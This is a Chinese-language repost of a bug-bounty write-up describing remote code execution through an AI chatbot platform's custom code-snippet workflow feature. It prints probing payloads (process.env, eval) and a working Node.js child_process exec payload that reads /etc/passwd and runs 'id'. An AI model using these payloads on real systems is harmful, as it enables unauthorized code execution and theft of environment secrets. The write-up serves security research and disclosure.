挖掘 AI 聊天机器人工作流程中的RCE

admin 2024年8月13日18:06:45评论53 views字数 2505阅读8分21秒阅读模式

本文笔者将介绍在一个流行的聊天机器人平台上发现的价值4位数$的远程代码执行问题,让我们开始吧。

介绍:

近年来,人工智能聊天机器人在各行各业越来越受欢迎,它们提供高效的客户服务,增强用户参与度,并简化业务运营。这些智能系统由复杂的算法和自然语言处理功能驱动,旨在与用户无缝互动。然而,与任何软件一样,它们也无法免受安全漏洞的影响。

最严重的安全漏洞类型之一是远程代码执行 (RCE),它允许攻击者在目标系统上执行任意代码。RCE 漏洞会带来重大风险,因为它们可能导致未经授权的访问、数据泄露以及对受影响系统的完全控制。

在最近的一次安全评估中,我发现了一个广泛使用的 AI 聊天机器人平台中的远程代码执行漏洞。此漏洞位于聊天机器人的自定义工作流响应代码中,此功能允许开发人员通过创建定制的工作流来扩展机器人的功能。虽然这些工作流是增强聊天机器人交互的强大工具,但如果没有得到适当的保护,它们也可能带来安全风险。

在本文中,我将分享发现此漏洞的历程,深入探讨技术细节,并讨论其潜在影响。

背景:

目标是一个业务管理平台,该平台具有多个团队管理、电子邮件管理、聊天机器人等功能。

在浏览聊天机器人自动化特有的多个功能时,引起我注意的功能之一是“从头开始”选项,如下所示。

挖掘 AI 聊天机器人工作流程中的RCE

现在,此选项从头开始”由多个用于自定义聊天机器人自动化的选项组成,例如:工作流、webhook 和自定义代码片段,如下图所示。

查看了其他选项后,我开始探索“运行代码片段”选项。

挖掘 AI 聊天机器人工作流程中的RCE

技术细节:

此功能包含可自定义的代码,用于从聊天机器人获取自定义响应,其中包含示例函数,例如带有 botMessage 参数的 responseJson,其默认值为“Hello World”

默认代码片段如下所示:

const responseJson = { botMessage : “Hello world” , responseExpected : false }

由于聊天机器人是使用 Node 18.x 框架构建的,我尝试获取/检查全局变量(如__dirname__filename)的响应,并尝试执行eval(7*7)之类的函数来代替“ Hello World ”。

这是使用全局变量和聊天机器人响应时的响应代码的样子。

__dirname

const responseJson = { botMessage : __dirname,responseExpected : false }

挖掘 AI 聊天机器人工作流程中的RCE

您可以观察到我在聊天机器人中得到了“ /var/task ”作为输出,这意味着全局变量__dirname在内部执行,并且我们得到了成功的输出。

对此漏洞深入挖掘利用:

__filename

const responseJson = { botMessage : __filename,responseExpected : false }

挖掘 AI 聊天机器人工作流程中的RCE

它也成功执行并返回输出“ /var/task/Template.js

eval(7*7)

const responseJson = {botMessage: eval(7*7),responseExpected: false}

挖掘 AI 聊天机器人工作流程中的RCE

但这些不足以证明为RCE。

此时,我开始查看 Nodejs 官方文档,并找到了更多全局变量/对象来检查是否存在更多数据泄漏。

您可以在这里找到官方文档:https://nodejs .org/api/globals.html#process

例如process.envprocess.argv process.execPathprocess.memoryUsage() 、 process.getuid() 、 process.cpuUsage()

让我们看看这些全局对象的响应:

process.env

const responseJson = { botMessage : process.env , responseExpected : false }

挖掘 AI 聊天机器人工作流程中的RCE

检查环境变量至关重要,因为它们有时会存储 AWS_SECRET 和 AWS_KEY。

process.platform

const responseJson = {botMessage: process.platform,responseExpected: false}

挖掘 AI 聊天机器人工作流程中的RCE

process.execPath

const responseJson = {botMessage: process.execPath,responseExpected: false}

挖掘 AI 聊天机器人工作流程中的RCE

process.memoryUsage()

const responseJson = {botMessage: process.memoryUsage(),responseExpected: false}

挖掘 AI 聊天机器人工作流程中的RCE

获得完整的 RCE:

到目前为止,我们已经获得了一些好的线索,例如我们获得了几乎每个节点全局对象的响应以及对环境变量的访问。

但是,我仍然在寻找完整的 RCE,并尝试为其构建一些payload,经过多次尝试、调试和与同事讨论后,我能够创建一个完整的RCE payload,如下所示:

const { exec } = require('child_process');


exports.main = (event, callback) => {exec('head /etc/passwd', (error, stdout, stderr) => {if (error) {console.error(exec error: ${error});return;}if (stderr) {console.error(stderr: ${stderr});return;}


const responseJson = {  botMessage: stdout,  responseExpected: false};


callback(responseJson);});};

以下是它成功执行的过程。

获取 /etc/passwd 文件(读取本地文件)

挖掘 AI 聊天机器人工作流程中的RCE

运行“ id ”命令

挖掘 AI 聊天机器人工作流程中的RCE

到这里我已经成功获取了完整的 RCE 。

以上内容由白帽子左一翻译并整理。原文:https://varmaanu001.medium.com/unveiling-remote-code-execution-in-ai-chatbot-workflows-3c7f633f63c3

原文始发于微信公众号(白帽子左一):挖掘 AI 聊天机器人工作流程中的RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月13日18:06:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   挖掘 AI 聊天机器人工作流程中的RCEhttps://cn-sec.com/archives/3063164.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息